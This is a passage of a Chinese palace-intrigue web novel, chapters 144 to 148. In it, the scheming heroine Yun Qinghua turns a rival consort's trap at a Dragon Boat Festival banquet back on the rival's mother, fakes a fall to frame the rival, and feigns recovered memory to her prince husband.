端午宫宴很快就伊始。 皇上举起酒爵,“谢爱卿治水有功,朕特将他召回京城!” 众官员皆是一脸惊愕,纷纷朝大门看去。“是那个谢家吗?” “唉……可怜啊。” 一个身着银色虎纹铠甲,高大挺括的身影迈进宴厅。 男人唇红齿白,样貌俊朗,让人眼前一亮,引得女眷纷纷侧目。 “微臣多谢皇上厚爱!”男人恭敬地跪下谢恩。 皇上满意地看着下首的青年,眼中尽是欢喜,“谢爱卿快坐,日后就留在京城吧。” 云清婳的眼圈登时红了,心尖都在颤抖。 但她瞬息就把持住了失态,用帕子擦去眼角的泪。 “谢陛下!”谢泽修的声音朗润,双目灼热,朝气蓬勃。 他的席位在云清婳的斜对面,他一落座,热烈的视线就落在云清婳身上。 “……”云清婳克制地收回目光。 谢泽修是姐姐的兄长,他的眉眼跟姐姐有五分像。 姐姐离世后,谢国公一家遭受不住打击,便自请去往偏远穷困的云城治理,远离京城这个伤心地。 一别三年,再次看到谢泽修的脸,她还是忍不住心颤。 宴会正酣时,苏灵音拿出一枚香囊,她的双颊泛红,“王爷,今日是端午,这香囊是妾身精心调制的,还请您莫要嫌弃。” 在场这么多双眼睛看着,裴墨染不好拒绝,只能硬着头皮收下。 “你向来贴心。”他的脸上挂着温柔的笑,夸奖着。 苏灵音羞涩地低下了头。 二人情意绵绵,衬托得旁边的云清婳像极了外人。 不少人都猜测云清婳失宠了。 皇后的眼角挤出细纹,笑容慈祥,“墨染,这是灵音的一片心意,快把香囊戴着吧。你腰间的荷包都旧了。” 裴墨染将荷包揣到怀里,在腰间挂上苏灵音的香囊。 皇后捕捉到他的举动,眼里像是被插了一根刺。 “清婳送了墨染什么?”皇后故意问道。 端午佳节并没有妻子送丈夫礼物的传统。 这话问出来,就是为了当众下云清婳的面子。 许多官员、诰命夫人嗅到了火药味,不禁同情地看向云清婳。 云清婳的黛眉微微一蹙,眸色潋滟,目光依次从裴云澈、裴墨染身上掠过。 她正欲启唇,两个男人就同时发话了。 “母后,儿臣敬您一杯。”裴云澈端起手边的雄黄酒。 裴墨染信口胡诌:“劳母后费心,儿臣今日穿的皂靴便是王妃所赠。” 皇后端庄的面容差点没维持住。 好啊! 两个儿子都一齐为云清婳解围,真是好样的。 太后叹了口气,她早就看出了皇后对云清婳的针对,她似打趣地问:“皇后给皇上准备了什么?” “……”皇后身子一僵,她手中的杯盏砰地砸到地上。 她的脸蹭得红了。 这相当于当众被太后甩了一巴掌。 而皇上老神在在地饮酒,根本没有半分帮皇后解围的意思。 这是太后变相的训诫,她在警告皇后安分,莫要打压小辈,闹出丑事了。 皇后恹恹的,连忙给皇上敬酒,不敢再多言。 云清婳的嘴角忍不住上扬。 她就喜欢看老妖婆吃瘪。 一旁的苏灵音的双眼像是淬了毒。 她真想毒死太后这个老虔婆! …… 宴席完毕,众人被邀请到新修的太湖上观看龙舟、捉鸭子竞赛。 岸边,裴墨染跟云清婳并肩而立。 她捂着鼻子,娇憨道:“王爷,我害怕。” “嗯。”裴墨染趁机将腰间的香囊扯掉,丢给贴身太监。 不怕一万,就怕万一。 谁知道苏灵音会不会在香囊里放令人滑胎、不孕的药材。 人潮拥挤,众人专心致志地看着龙舟竞赛。 裴云澈不动声色地走到了云清婳的右边,他大胆地抓住云清婳的小手。 她吓得后背冒出一层虚汗。 二人宽大的袖摆纠缠、遮掩,并不能看到紧握的双手。 云清婳的心不由得扑通扑通乱跳。 裴云澈真是道貌岸然的伪君子,玩得这么花。 她挣了挣,可裴云澈加紧了手上的力道。 “你知不知礼义廉耻?”裴墨染眼角的余光瞥见裴云澈,当即心头一紧。 他将云清婳拉到另一边,换成他跟裴云澈挨着。 裴墨染觉得裴云澈现在就像帖狗皮膏药,想方设法粘着蛮蛮。 “墨染,你还是这么幼稚。”他摇了摇手里的折扇,神情奚落。 “裴云澈,我们二人只相差几个时辰出生,你真把自己当兄长了?”裴墨染最膈应他这副世人皆醉他独醒的虚伪模样。 裴云澈冷笑,语气却极尽温柔,“难道本王不是你的兄长吗?” “本王没有无耻下流的兄长。”他一字一顿的骂道。 裴云澈的脸色沉了下来,他罕见的刻薄道:“是不是在边关待久了,便会被同化成粗鄙的野人?” “你……” “都给我闭嘴!”云清婳怒道。 “……”二人瞬间噤声。 双方都委屈的看着她。 云清婳转身就走。 两个蠢货! 大庭广众之下,居然就这样拌起嘴来,倘若被有心之人听见,她岂不是遭殃了? 最重要的是,这会影响裴墨染夺嫡。 会影响她成为皇后、太后! “蛮蛮……”二人在后面追。 云清婳转身,虎着脸凶道:“不许跟着我!” 两个人又同时驻足,想要跟着,却又不敢。 飞霜将云清婳扶到一边,她忍不住笑了,“哈哈哈哈……两个王爷被您训得跟孙子似的。” “是为了我吗?他们是为了争一口气,不想被对方比下去。”云清婳看得很透彻。 裴云澈、裴墨染的确心里有她,甚至她是他们心中最喜欢的女人。 但若是让他俩在皇位跟她之间做出选择,他们一定毫不犹豫放弃她! 攻心之路,任重而道远啊。 飞霜凑在云清婳耳边道:“苏灵音又有异动,主子要小心啊。” 第144章 蛮蛮训二狗 “待会儿见我眼色行事。”云清婳冲她眨眨眼。 飞霜虽然不理解,但还是颔首。 原著里,苏灵音的手段甚是狠毒。 二皇子体弱,不能人道,久而久之他便内心扭曲,生了折磨女人的怪癖。 听着女人的惨叫、求饶,他便会生出征服女人的快感。 也是一年端午节,苏灵音给姐姐披上了与二皇子妾室相似的嫣色披风。 结果姐姐被醉酒的二皇子错认,他将姐姐抓去了偏殿,用鞭子抽了十几鞭。 姐姐被救时,衣裙都被抽破了。 尽管二皇子受到了惩罚,可是姐姐的名声却毁了。 而苏灵音逍遥法外。 她可不是姐姐,会让苏灵音捏扁搓圆。 苏灵音若是敢犯贱,她定会让苏家悔不当初。 正想着,一个宫女端着雄黄酒走来,路过云清婳时,她的脚一崴,杯盏浇了云清婳一身。 “呀……王妃恕罪。”宫女跪地磕头,眼泪都被吓出来。 飞霜斥道:“怎么走路的?” 云清婳的嘴角勾出妖艳的弧度,她摆摆手,“罢了,我正好想出宫了。” 苏灵音闻风走来,“王妃,您的衣裙怎么湿了?快披上。” 她将一件薄薄的嫣色披风披到了云清婳的身上。 苏灵音贴心地说:“天热了,衣料单薄,酒水浸湿衣物,什么都看得见。” “多谢苏侧妃。”云清婳感激地说。 “有什么好谢的?您在我心中如同长姐,看见您,我觉得亲切。”苏灵音指着临近的宫殿,“倘若王妃信得过我,不如在偏殿歇歇?我跟飞霜问姑母借身衣物,马上就送过来?” 云清婳握住她的手,“有劳了。” “您客气了。”苏灵音转身的瞬间,眼神阴沉。 飞霜尽管不放心,可也只好跟着苏灵音离开。 云清婳的眼中跳动着隐隐的兴奋。 苏灵音想施加给她的,她会千倍万倍还给苏家。 这次该轮到苏家的谁遭殃呢? 云清婳的眼神轮番落在苏灵音的至亲身上,点兵点将起来。 有了,就她吧。 …… 眼看着云清婳走进偏殿,苏灵音当即递给苏家人一个眼色。 苏家几个男公子,立即扶着醉酒的二皇子跟上去。 …… 一炷香的时间过去,苏灵音掐算差不多了。 她拿着一件素面衣袍,走到裴墨染身边,“王爷,方才王妃的衣裙被酒水打湿了,她与我约好在侧殿等候,不如我们一同给她送衣裳吧?” “好。”裴墨染从她手里接过外袍。 二人正往身后的侧殿走,忽地里面传来一声响亮、清脆的尖叫。 “是蛮蛮的声音!”云家二公子大喊一声,就往声源处跑。 裴墨染的心脏突突直跳,他丢下衣袍就往侧殿冲去。 裴云澈、谢泽修也不甘示弱般在后面追逐。 龙舟、捉鸭子一时之间似乎都失了趣味,许多贵胄都被吸引,纷纷转身。 看台上,皇上深邃的眸子一轮,也看向偏殿。 “奴才这就去看看是怎么回事。”太监总管接受到皇上的意思,忙不迭带人跑下看台。 苏灵音的嘴角阴恻恻地勾起。 云清婳,一会儿所有人看到你衣不蔽体、香肌玉骨暴露,被二皇子凌虐,你的颜面、云家的颜面、裴墨染的颜面会往哪搁? 婢女巧慧冷笑,“主子,云清婳若是有羞耻心,就该上吊自尽!” “嘘……”她凌冽地瞪了巧慧一眼。 巧慧怯生生地低下了头。 众人快要进入侧殿时,大门却先一步被打开。 云清婳的衣领凌乱,裙摆发皱,从门内小跑出来,不由得让人往靡艳的方向浮想。 “蛮蛮!”裴墨染将自己的外袍脱下,将她紧紧包裹住,“怎么了?” 云清婳的心脏快要跳出嗓子眼,脸色惨白,“没、没什么,我们快走吧!” “叫那么大声,怎么可能没什么?里面肯定有事!”几个看热闹的命妇捂着嘴,小声呿呿道。 “就是啊!肃王妃的裙摆皱皱巴巴,这可不像没事。” “领口也不整齐,啧啧,不会干了什么见不得人的勾当吧?”苏家的几个官夫人趁机泼脏水报仇。 裴墨染眸色冷然,剜着她们。 几个官夫人悻悻闭嘴。 “王爷,我们快走吧。”云清婳急着离开。 可苏灵音却挡在面前,她倒吸了一口气,故作惊讶道:“王妃,我给您的披风呢?那是我娘给我的生辰礼。” “苏侧妃,稍后我派人给你取回来,你别急。”云清婳快速眨眨眼,一副心虚的表情。 “何必这么麻烦?!我亲自去拿就好。”苏灵音笑吟吟道。 其他人也道:“肃王妃,您为何不让我们进去?难不成里面有鬼?” “哼,怕就怕是某些人心里有鬼!”苏家的官夫人讽刺。 “不会做了对不起肃王的事吧?” 苏灵音二话不说就要进门,云清婳张开双臂拦住她,黛眉紧蹙,“苏侧妃、灵音,别进去了!算我求你!” “……”苏灵音的嘴角都快压不下了。 求她? 这个骚货、贱货,现在知道求她了? 她害堂妹的时候,料想到今日了吗? 几个诰命夫人跟官夫人二话不说就往前挤,其他皇子、官员也看起了热闹。 “王爷……”云清婳用恳求的目光看着裴墨染。 裴墨染尽管好奇侧殿里面究竟发生了什么,但他相信蛮蛮。 蛮蛮怀有身孕,又看重孩子,不可能做对不起他的事。 “够了!有什么好看的?都退下!”裴墨染低吼。 为首的几人像是霜打的茄子,顿时蔫了。 就在这时,太监总管来了。 苏灵音像是看到了希望的曙光,眸色被点亮。 她早就算到了,此事会闹到皇上面前。 “还请肃王、肃王妃行个方便,老奴奉陛下之命,前来探查。”太监总管皮笑肉不笑,往前面甩了下拂尘。 云清婳一脸为难、纠结,她抓紧了裴墨染的衣袖。 “公公,请吧!”裴墨染对她做出无奈的表情,立即搂着她,让出一条道。 贴身太监大步迈进偏殿。 其余人跟在他的身后。 苏家的官夫人东张西望,都想要抓住云清婳偷情的证据。 第145章 苏灵音反被治,哭断肠 “灵音,我劝你不要进去。”云清婳长叹了一声,像是操碎了心。 咯噔—— 苏灵音的心像是被揉碎了。 一股不好的预感在心头升起。 啪啪啪—— 一个房间传出鞭子抽打的声音。 随后便是女人的呻吟声、痛呼声。 听到女人的声音,几个苏家的官夫人当即瞪圆了眼,张大了嘴。 苏灵音不管不顾地朝那扇门冲了进去。 门被打开的瞬间,许多女眷都尖叫起来。 啊—— “住手!住手!” “娘!”苏灵音不管不顾地朝地上衣裙不整、皮开肉绽的女人冲了过去。 女人身侧还躺着那件嫣色的锦绣披风。 “小骚货!穿这么粉,不就是想让本王玩你?呵……”二皇子发出淫笑,他高高举起鞭子正要挥舞下来。 几个侍卫就把二皇子制服。 好几个命妇看着血腥的场面,当即吓吐了。 云清婳偏过头去,裴墨染立即捂住她的双眼,“蛮蛮,别怕,没事了,没事了。” “给他醒醒酒!二皇兄,你怎敢在端午宫宴上淫乱凌虐官夫人?”裴云澈呵斥。 几个太监打了水,使劲往二皇子脸上泼。 裴云澈跟云清婳交换了个眼神,他立即转身去告御状。 他知道蛮蛮的手段、心机,他一开始就猜到了此事不简单。 蛮蛮为他彻底除掉了二皇子这个竞争对手,很好。 大昭自古立长立嫡,二皇子这个废物挡在前面,他多少还是有点不放心的。 “娘!娘!您醒醒啊!”苏灵音抱着苏夫人痛哭流涕,心脏抽痛。 “都愣着作甚?快传太医!”裴墨染低吼。 苏灵音气得双臂颤抖,后槽牙磨得硌吱硌吱响,眼中像是蒙上了一层白雾,“娘……” 天气明明已经回暖,可她浑身发凉,每一个毛孔都像有寒风在往里面钻。 她恨不得扒了云清婳的皮,抽了她的筋。 她怎么敢对娘下手? 怎么敢的? “为什么披风在这里?为什么?”苏灵音冷冷的看向云清婳,大声质问。 云清婳像是被吓到,她后退一步,无辜地解释:“我的衣裙干了,用不着披风了,又找不到你的人,所以就把苏夫人叫来,把披风给她了。” 她可没说谎,她派人将苏夫人骗来,又把披风给她披上,二皇子看见苏夫人的背影就兽性大发了…… 真是一出好戏! “你……”苏灵音气急攻心,一口气没提上来。 “呼呼呼……”她大口吸气,可好像怎么吸都不够。 她眼前一黑,快要晕过去。 巧慧担心她昏厥,使劲掐她的人中,“主子,冷静啊!” 苏灵音紧紧攥着拳,指甲嵌进掌心,抠出了血,她才稍稍平复。 太监将苏夫人抬走后,苏灵音正欲跟着,裴墨染便斥道:“你娘出事,与王妃何干?王妃为了保住苏家脸面,百般阻拦,你却迁怒王妃!” 苏灵音肺都要气炸了,可她只能露出委屈、歉疚的表情,“对不起,是我太着急了!王妃恕罪!” “无妨,任何人遇到这种事,都不会冷静。”云清婳的脸上满是怜悯,她妆容寡淡柔和,一副观音相。 简直讽刺到了极点! 苏灵音双拳紧握,若不是理智还在,她一定冲上去撕了云清婳虚伪的面皮。 人走后,裴墨染的眸色逐渐变冷。 苏灵音方才突然提起的披风一定有问题。 倘若披风没有被蛮蛮还给苏夫人,那么今日遭殃的该是……蛮蛮了。 思及此,他胸中怒火激愤,恨不得将苏灵音掐死。 “蛮……肃王妃,你没事吧?”谢泽修满眼写着关怀。 裴墨染捕捉到了他的口风,脸登时阴沉。 “表哥,我没事了。三年不见,叔父、叔母可好?”她怔怔地望着他,努力克制着内心的汹涌。 谢泽修的脸色稍显沉重,“一切安好。” “谢将军辛苦了,边境苦寒,日后就留在京城吧。”裴墨染冷不丁出声。 谢泽修拱手,“多谢肃王厚爱,臣正有此意。” 裴墨染宣誓主权般,搂着云清婳离开。 他阴阳怪气道:“蛮蛮,你的表哥可真多。” 云清婳抬眼望着他,回怼道:“您的表妹也不少。” 裴墨染一噎。 谢泽修望着云清婳的背影,深邃的情绪翻涌。 云家二公子的手落在谢泽修的肩膀上,正色道:“你应该知道蛮蛮是为了什么,如今木已成舟,你再克制不住自己,会害了她的。” “我知道。”他收回视线,苦涩地勾起唇角。 …… 苏夫人被鞭子抽晕了,但没有性命危险,苏将军觉得颜面尽失,火速带她离宫了。 但风言风语已然传开。 不少人笑话苏夫人一大把年纪,被二皇子看上了,还露肉被看见了。 还有人说,苏家女眷接二连三遭人侵犯,或许是她们骨子里犯贱,勾人在先。 作为苏家人,皇后也跟着蒙羞,这引起了皇上的不满。 …… 太医院后的亭台上,苏灵音的眼里扬起了一层红烟,她恨不得将手里的帕子绞烂。 本来她也想回苏家,侍奉在娘身边。 可爹不允许。 她如今嫁给了裴墨染,便是肃王府的人,哪还有娘家? “云清婳,你毁我苏家名声,我与你不共戴天!”她饮泣吞声,不敢让旁人发现她的失态。 云清婳站在楼下,目光锁定在满是戾气的苏灵音脸上。 她顺着台阶走了上去。 “苏侧妃,宫宴毕,该出宫了,王爷在等我们呢。”云清婳眉眼恬静,面若出水芙蓉,单纯无瑕。 苏灵音揩去脸上的泪,她瞬息转变了表情,愧疚道:“王妃,方才是妾身失言,妾身该死。” “呵。” 云清婳冷笑了声,“你的确该死!” 苏灵音怔住了,她像是没想到云清婳会直接暴露。 “那件嫣色披风,如同祸事般裹住了我。可你没想到吧?我将它给了你娘!这是你的报应,自食恶果!”云清婳的语气一派讥讽,甚至还夹杂着幸灾乐祸。 苏灵音的唇瓣颤抖,喉头发涩。 她想咆哮,想质问,可她极力压制着。 只有弱者才会无能狂怒,她不是弱者。 “……” “呵,其实祸患本不该落在你娘头上,我想惩罚的是你的小妹。可你的小妹没被骗去,你娘是个蠢的。呵呵……”云清婳笑得张扬,清丽的脸上流露出傲然的魅色、刻薄。 “不过你别急,下一次,也该轮到你的小妹了!”云清婳俏皮地冲苏灵音眨眨眼。 不要跟她说苏家女眷无辜,她是天生坏种,没有善恶是非观,从来不是好人。 苏灵音犯贱,她就折磨苏灵音在乎的人,慢慢玩! 苏灵音郁结于胸,险些吐出一口鲜血,她再也忍不下去,目眦欲裂,“你根本没失忆!你不装了是不是?” 第146章 蛮蛮恢复记忆 “呵,显而易见。”云清婳手腕娇媚一转,冲她摊手。 苏灵音的双臂颤抖,她大步走到云清婳面前,哑声道:“有什么冲我来!别动我的家人!” “不行呢~游戏是你先开始的,我就喜欢看你痛不欲生的样子。”云清婳一步步后退,腰抵住了栏杆。 “云清婳!你当我们苏家是吃素的?你若是敢动苏家,你们云家必会不得好死!”她的双目冒火。 云清婳的身子作势就要向后仰倒,“好啊,你试试。” “啊……”苏灵音捕捉到她的意图,眼珠子快要瞪出来,“你疯了?你为了害我,要跳楼吗?” 她可不想跟云清婳这个贱人一起死! “你疯了,你就是个疯子!”苏灵音抬起手,想要抓住云清婳。 可又怕被牵连,刚抬起的手臂又收了回去。 她吓得眼泪水噗噗往外冒,声嘶力竭地大叫:“来人啊,来人啊!” 云清婳看她像是受惊应激的猫儿,笑得愈发灿烂。 她的身体重心朝后倒去,“救命啊……” 单薄的身躯坠落,衣袂翩飞,如同一只蝶。 啊—— 苏灵音以及路过的宫女、太医都尖叫起来。 这是二楼,摔下去不残疾也会重伤。 云清婳的心脏简直快要冲破胸腔。 扑通、扑通、扑通…… 就在千钧一发之际,一个宽厚的臂膀接住了她。 她落入一个温暖的怀抱。 “蛮蛮!”谢泽修低哑的声音传来,双眼泛着水光。 “表哥……”她说完这两个字,白眼一翻晕了过去。 适时,裴墨染闻风带着人匆匆赶来。 “蛮蛮!” “天啊!主子、主子……呜呜……主子一定是被苏灵音推下来的。”飞霜哭喊着。 一个宫女道:“奴婢看见王妃跌下楼前,在跟苏侧妃说话。” 另一个宫女道:“奴婢也看见了,她们二人好像起了争执。” “将苏灵音拿下!”裴墨染低吼。 “不,王爷,我是被冤枉的!”苏灵音使劲摇头,“方才是王妃……自己跳下去的!” 飞霜愤恨的指责:“可笑!我们主子怀孕了!怎会自戕?苏侧妃,你这是企图谋害皇嗣啊!” 苏灵音的瞳孔地震,她双腿一软,一屁股坐在地上。 一个念头在她心中浮现。 云清婳是个……疯子。 正常人怎会伤敌一百,自损一千? …… 云清婳“醒”来时,已经回到了玄音阁。 方才从楼上跳下,她根本不惧。 因为她相信谢泽修的目光会一直追随她,谢泽修一定会接住她。 而且,她事先也跟二哥打好了招呼。 就算谢泽修靠不住,也有躲在暗处的二哥兜底。 她的命从来掌握在自己手里。 云清婳浓密纤长的眼睫轻颤,缓缓睁眼,裴墨染的面孔就摆在眼前,他的眼底扬起了红烟,水色潋滟。 “夫君……”她的声音干涩。 “蛮蛮,你终于醒了,你吓死我了。”裴墨染俯下身,紧紧抱住她,“别怕,我们的孩子好好的,这次我们的孩子没事。” 少顷,他意识到什么,眸色倏地变亮,“蛮蛮,你唤我什么?你唤我什么?” 他因为激动,说话的尾音上扬。 “夫君,我全都想起来了。”两行清泪从她泛红的眼尾坠入鬓角。 裴墨染的心在发颤,这些日子的苦涩全部褪去,喜从天降,简直要把他砸晕了。 他捧着她的脸,二人唇舌纠缠,吻得缱绻。 这个吻不带丝毫情欲,只有思念、喜悦。 裴墨染的鼻梁泛酸,他还以为,他要跟蛮蛮一直相敬如宾下去,做一辈子的疏远夫妻。 “唔……” 不知吻了多久,云清婳推开他,她吐出舌头,轻轻喘息。 裴墨染脱掉皂靴,躺在她的身侧,他紧紧搂住她,就像生怕下一秒她会消失。 他的双臂不断用力,把她抱得很紧。 云清婳感觉肋骨都要被他铁钳般的臂膀勒断。 “疼……”她娇啼一声,面皮透出红色。 裴墨染立即泄了力气,他边吻她的脸颊边道:“是不是弄疼你了?都怪我,都怪我。” 他心里是喜悦的,可眼睛发烫,心尖涌上了酸涩。 “夫君,我好怕。”她的肩膀轻颤,很轻地啜泣。 裴墨染轻拍着她的后背,沉声道:“蛮蛮,苏灵音将你推下楼,险些害死皇嗣,已经被我关在地牢!我恨不得杀她泄愤,可她背后是苏家、是皇后,我不能动她。” “但你放心,此事人尽皆知,已经闹到了父皇、太后面前,苏灵音不死也会脱层皮。” 她根本就没打算一次性就将苏灵音弄死。 毕竟苏灵音背后靠着的是皇后。 她只是想在众人败坏苏灵音的形象,这么一来,苏灵音就算想跟她争王妃之位,也没资格了。 云清婳的黛眉垂下,看起来很是受伤,“夫君,就算我真有什么三长两短,皇后也会保下苏灵音,就好像我是一只蝼蚁。” 裴墨染的眸中翻滚着波澜诡谲的阴云,锋芒毕露。 “蛮蛮,如今我们受制于人,你的委屈亦是我的委屈。你信我,将来我定让你受万人敬仰,不再受半点委屈。”他的语气真诚,发自内心的承诺。 如若将来他能登临高位,蛮蛮必母仪天下。 算狗男人有良心,有这个想法就是好的。 云清婳哼了一声,“我不用吃饭了,您又在画大饼。” 裴墨染看她恼怒都这般可爱,不禁笑了,他在她的眉心吻了吻,“我又没说谎!蛮蛮,我对你的心意,你是感受得到的,对吧?” 话音刚落,云清婳忽然将被褥一拽,蒙头盖上,抽抽噎噎地哭出了声。 裴墨染摸不着头脑,“怎么哭了?你别哭啊!” 他慌张地起身,在身上摸索着帕子,他从袖中抽出帕子后,连哄带骗,好不容易才将云清婳从被褥里捞了出来。 “蛮蛮,你是不是怪我不能杀了苏灵音?你放心,等我地位稳固,我一定给你报仇。”他给她擦拭着脸上的泪。 云清婳摇摇头,她哭道:“夫君,蛮蛮没脸见您了。您待我这么好,可我却在失忆的时候恶言相向,还对贤王青睐有加。” 裴墨染从未计较过这件事。 在他看来,蛮蛮对裴云澈的感情根本不是爱,而是感激以及云家多年教化而来的习惯。 是女子天然对丈夫的恭顺。 “那你现在可还喜欢裴云澈?”他打趣般地问,双眼却捕捉着她脸上的每一寸表情。 第147章 他被打爽了 她娇憨地摇摇头。 他屈着食指,在她鼻梁上刮了一下,“这就够了,你喜欢的应该是我,那一日救你的人是我。” “夫君,蛮蛮是一个坏女人,蛮蛮配不上您了……”她捂着脸,好像羞得无地自容。 这种恶心的戏码,她一点都不想演。 可是没办法,裴墨染太过缺爱,他要的爱,是纯粹的、唯一的,不能留一点污点。 所以她必须得演出羞愤欲绝,免得等裴墨染回过神之后,翻旧账,责怪她三心二意。 裴墨染拿开她的手,正色道:“不许胡说!蛮蛮,你是我心中最好的女子!坏的是趁人之危,不顾伦理纲常的裴云澈。” 他越想越气,神色冷了下来。 蛮蛮失忆后,虽然对他绝情,总是叫嚷和离,但他也透过现象看出了本质。 说明蛮蛮是一个对情爱偏执到极致的女子。 她认定一个人时,哪怕隔着伦理纲常、千山万水,她也要越过去。 为了感情,她能不顾一切。 这种纯粹热烈的感情,正是他想要的。 “可是我还打您、骂您……”她的眼泪像是泄了闸的洪水。 裴墨染着急地哄道:“你别哭啊,那是因为我欠打!你打得又不疼,手扇过来的时候,扑面而来的风还是香的。” 云清婳:??? 多少有点变态了,大兄弟! 裴墨染见识了出嫁前的云清婳,才知道她内里是一个这么明媚开朗、矜贵骄傲的女子。 可她为了他,磨掉了身上所有的锋芒。 思及此,他心里像是压了一块巨石。 蛮蛮嫁给他,的确算是下嫁,所以她才会百般抵触。 没有所谓的战神光环,他在她眼中就是个没落王爷,脾气坏、不得宠、没学识,难怪不讨她喜欢。 但这些,他是不会承认的,也不会说出口。 他是肃王,怎能屈居女人之下? 云清婳揩去眼泪,迷茫地问:“夫君,接下来咱们应该怎么办啊?” 二人心有灵犀,话不必说得太明白,就知道她指的是苏灵音。 裴墨染的眼神幽深,“等皇后出手。” “蛮蛮,皇后跟裴云澈已经不放心我了,所以我们不能露出破绽。在她面前,我必须是一个愚孝、无脑、冲动的莽夫。” “进宫后需要你的配合,你能做到吧?” 裴墨染很不放心她的演技,这个小妮子喜怒都写在脸上。 她要是演技太差,还是别带她进宫了。 云清婳在心里翻了个白眼,狗男人居然怀疑她的演技? “那我应该怎么演?”她的眼神发亮,饶有兴致地问。 他凑在她耳边小声说了什么。 半晌,贴身太监拍了拍门,“王爷,皇后娘娘召见。” 云清婳撑起身子,她揩去额上的虚汗,“夫君,快走吧。” “急什么?”裴墨染长臂一伸,圈住她的腰,让她紧紧贴在他的怀里。 她的胸口抵着裴墨染的胸膛,二人的心跳交迭跳动。 “干什么?”她的双颊泛红,面若桃花。 他低下头,轻咬了下她的耳垂,委屈地抱怨:“你说呢?这些日子憋死我了,亲你,你也甩巴掌,牵你手,你也甩巴掌,一言不合就打人。” 云清婳咯咯地笑了,“可是孩子还没三个月,不可以。” 裴墨染的吻落在她的脖颈间,让她娇躯轻颤。 他哑声道:“我知道,你让我纾解纾解。” 她觉得也是该给狗男人一点甜头了。 “嗯。”她含糊不清地应声。 得到许可,裴墨染的眼神简直快冒绿光,像极了饿狼。 二人在纱帐中温存缱绻。 “蛮蛮,你快唤我夫君。”裴墨染的汗落在她的身上,呼吸沉重。 云清婳不明所以,“夫君。” “再唤一声。”他的嘴角上扬,舌尖似乎都尝到了甜味,像是含着一颗糖。 “夫君。” “再唤一声。” 云清婳的黛眉一沉,拖着声音,娇嗔道:“裴墨染!你发什么疯?” “蛮蛮叫我名字也好听!”裴墨染的心好似浸在了蜜罐子里。 他是真的怕了,蛮蛮之前唤他肃王殿下、王爷,她每唤一声,就像是一根刺往他心上戳。 云清婳在心里冷笑,狗男人这是有心理阴影了。 …… 皇宫。 裴墨染扶着云清婳走在前面。 而苏灵音被宫人押着走在后面。 她满身狼狈,额前的发髻散开一绺,眼底布满红血丝,她盯着云清婳的背影,恨不得在云清婳背上凿出两个窟窿。 “夫君,这次多亏表哥救了我,您要感谢他。”云清婳说话有气无力。 裴墨染的脸上闪过一抹寒意,“这是自然。” 那个谢泽修看蛮蛮的眼神太深邃,似乎饱含着千言万语。 这厮绝对对蛮蛮有非分之想。 “一会儿若是见到贤王怎么办?怪尴尬的。”云清婳求救般看向他。 裴墨染笑吟吟地揶揄:“第一贵女现在知道尴尬了?当初为了他,还非要跟我和离呢。” “闭嘴!”她面皮娇红,恼羞成怒地推了他一把。 裴墨染轻笑着快步把人往翊坤宫里带,他促狭道:“走!我带你去见心上人!” “他才不是我的心上人!我不去了,我要出宫。”她转身要走。 裴墨染揽住她的腰肢,“不行,你一定要见!” 他连拖带拽,云清婳根本犟不过他,被气得小鼻子一怂。 二人一路打打闹闹进了翊坤宫。 后面的苏灵音咬牙切齿。 一进朱红色的大门,果真在台阶下看到了颀长清瘦的身影。 裴云澈步履匆匆地迎了上来,上下打量着她,“蛮蛮,你没事吧?” 方才听说蛮蛮从二楼跌下,他的心在一瞬间都吓得停止跳动,浑身冰凉。 “……没事。”她垂下脑袋,低声挤出这两个字。 裴云澈有些奇怪她的态度,他正想再上前,可裴墨染使劲推开了他。 他素来冷淡的脸上扬起了张扬的笑,“皇兄,蛮蛮已经恢复记忆了。” “……”裴云澈神色复杂。 蛮蛮就算恢复记忆,也不该是这个反应。 她莫非觉得他会包庇苏灵音? “不属于你的东西,你坑蒙拐骗最后也不会属于你。”裴墨染讽刺。 第148章 蛮蛮:谁说一个巴掌拍不响 裴云澈用怜悯的目光看着他。 这个莽夫不会以为蛮蛮恢复记忆,就会心悦他吧? “蛮蛮,你放心,我会为你主持公道。”裴云澈一字一顿,像在承诺。 “……”云清婳不语。 裴墨染牵着云清婳的手,从他身边走过,低声道:“还请自重!蛮蛮是本王的王妃,自有本王主持公道。” 苏灵音没听清他们的对话,但她看得出来,裴云澈、裴墨染之间的关系有些紧张。 她心里渐渐有了底,裴云澈应该会保她的。 进了寝殿。 皇后看见苏灵音的瞬间,眼圈就红了。 她不故仪态地快步走到苏灵音面前,牵着苏灵音的手,“灵音,你受苦了。” “姑母,灵音还以为再也不能孝顺您了……”苏灵音呜呜咽咽地哭了起来。 “可怜的孩子啊。”皇后用帕子擦了擦眼角。 姑侄二人泪眼涟涟,像是根本没看见裴墨染、云清婳。 皇后连演都不愿演。 完全是在打云清婳的脸。 裴墨染的眸色黯然,他攥着拳头道:“母后,苏灵音将蛮蛮从亭台推下,蛮蛮腹中还怀着儿臣的骨肉!” 云清婳抿着唇,忍着眼泪,可还是气得抽搐。 裴云澈在后面纵观全局,心疼不已。 皇后不屑地瞥了云清婳一眼,语气温柔,“清婳,本宫向来是把你当亲女儿疼爱的,这次是灵音鲁莽了,本宫让灵音给你认错,让她面壁思过三日,你看如何?” 如此轻飘飘的惩罚,别说云清婳,就连四下伺候的宫女都觉得惊讶。 云清婳暗笑。 皇后不是没把她放在眼里,而是压根没把她当人啊。 “皇后娘娘,臣妾受委屈无妨,可妾身要为肚子里的孩子讨一个公道!”云清婳抚着小腹,神色坚定,一副软硬不吃的模样。 皇后的眸中闪过讥诮,“手心手背都是肉,清婳,你要逼死本宫的侄女不成?再说,宫女都看见你坠楼前,与灵音发生了争执,一个巴掌拍不响啊。” “呵,皇后娘娘的意思是,此事是我的错?”云清婳指着胸口反问。 “此事没有对错,你跟灵音都是好孩子,争执时难免会有碰撞。今日不是你摔下楼,便是灵音摔下楼。更何况,你凑巧被谢将军接住了,没有大碍。” 皇后表面上一碗水端平,可字字句句都在暗讽云清婳,护着苏灵音。 闻言,苏灵音扬起了脖子,她的眼底泄出讥讽与奚落,姑母当然会保她,所以她并没有多害怕。 云清婳双眼含恨,她忽然走上前,扬起巴掌,抡起膀子,照着苏灵音的脸甩了过去。 啪—— 巴掌声十分响亮,声音在偌大的寝殿回荡。 “啊……”苏灵音的脸火辣辣的疼,耳朵轰鸣,整个人都懵了。 她的嘴角流出一串血珠子。 “谁说一个巴掌拍不响?你们听听,一个巴掌拍得响不响啊?”云清婳讽刺地反问。 皇后难以置信地看着云清婳,“大胆!你居然敢当着本宫的面打灵音,你眼中可还有本宫?” 裴墨染叹为观止,蛮蛮演得真好,把他都吓到了。 